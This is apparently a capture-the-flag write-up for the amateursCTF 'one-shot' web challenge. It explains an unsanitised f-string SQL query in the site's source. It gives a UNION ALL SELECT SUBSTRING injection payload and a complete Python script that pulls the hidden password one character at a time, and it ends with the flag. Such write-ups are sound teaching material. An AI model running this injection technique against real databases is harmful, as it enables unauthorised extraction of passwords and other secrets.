Introduction
In this challenge, we are given a website and its source code. We have to create a session, search for a pass and then guess the pass to get the flag.
Analysis
After digging into the source code, we see a potential SQL injection in the search
route. The query
parameter is not sanitized and is directly used in the SQL query.
query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
return f"""
<h2>Your results:</h2>
<ul>
{"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
</ul>
<h3>Ready to make your guess?</h3>
<form action="/guess" method="POST">
<input type="hidden" name="id" value="{id}">
<input type="text" name="password" placehoder="Password">
<input type="submit" value="Guess">
</form>
"""
In the fifth line, we can see that each row from the query is displayed in the list. The first character of the password is displayed, and the rest of the characters are replaced with *
.
Solution
We can create a malicious query that will inject multiple SUBSTRING
SQL functions to display each character of the password in a separate row.
%' OR 1=1 UNION ALL SELECT SUBSTRING(password, n, 1) FROM table_{id}
Why UNION ALL?
We must useUNION ALL
instead ofUNION
because passwords can contain duplicate characters.
I created a script that will automate the process of building the query and extracting the password.
import requests
import re
URL = "http://one-shot.amt.rs"
# Get session id
def get_session():
res = requests.post(URL + "/new_session")
return res.text.split('type="hidden" name="id" value="')[1].split('"')[0]
# Search for password, use malicious query
def search(session: str, query: str):
query = query.replace("{id}", session)
res = requests.post(URL + "/search", data={"id": session, "query": query})
return re.findall(r"<li>(.*?)</li>", res.text)
# Guess the password
def guess(session: str, password: str):
res = requests.post(URL + "/guess", data={"id": session, "password": password})
return res.text
# Build a malicious query
def build_query():
query = "%' OR 1=1"
for n in range(1, 33):
query += f" UNION ALL SELECT SUBSTRING(password, {n}, 1) FROM table_" + "{id}"
return query + " --"
session = get_session()
vals = search(session, build_query())
vals = [val for val in vals if len(val) == 1] # get only characters
print(guess(session, "".join(vals)))
After running the script, we get the flag.
amateursCTF{go_union_select_a_life}